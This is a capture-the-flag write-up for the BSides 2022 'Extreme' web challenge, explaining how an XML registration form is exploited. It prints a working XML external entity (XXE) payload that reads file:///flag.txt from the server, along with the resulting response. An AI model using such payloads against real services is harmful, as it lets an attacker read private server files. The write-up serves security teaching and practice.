bsides2022 – Extreme
17 October 2022 – Written by Valentin Huber – in ctf, injection, web, and xxe
Challenge
The system is full, everyone. Go home. We’ve already registered everyone.
The provided website is a registration form (fields Name
, Email
, Password
) that always returns an error: Sorry, [Email] is already registered!
with the entered email address.
Solution
Looking at the source code of the website, when submitting the form, the following code is run:
function XMLFunction(){
var xml = '' +
'<?xml version="1.0" encoding="UTF-8"?>' +
'<root>' +
'<name>' + $('#name').val() + '</name>' +
'<email>' + $('#email').val() + '</email>' +
'<password>' + $('#password').val() + '</password>' +
'</root>';
var xmlhttp = new XMLHttpRequest();
xmlhttp.onreadystatechange = function () {
if(xmlhttp.readyState == 4){
console.log(xmlhttp.readyState);
console.log(xmlhttp.responseText);
document.getElementById('errorMessage').innerHTML = xmlhttp.responseText;
}
}
xmlhttp.open("POST","process.php",true);
xmlhttp.send(xml);
};
This composes a XML file and sends it to process.php
. Trying that in a REST client like Insomnia, we see that all fields but email
are ignored.
We can then construct a custom XML file that tries to load an other file on disk and includes that as the email address (because it then gets sent back to us):
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///flag.txt"> ]>
<root>
<email>&xxe;</email>
</root>
This is called a XXE (XML external entity attack).
And voilà, we get our flag:
Sorry, flag{bad_XML_ext3rnal_entiti3s} is already registered!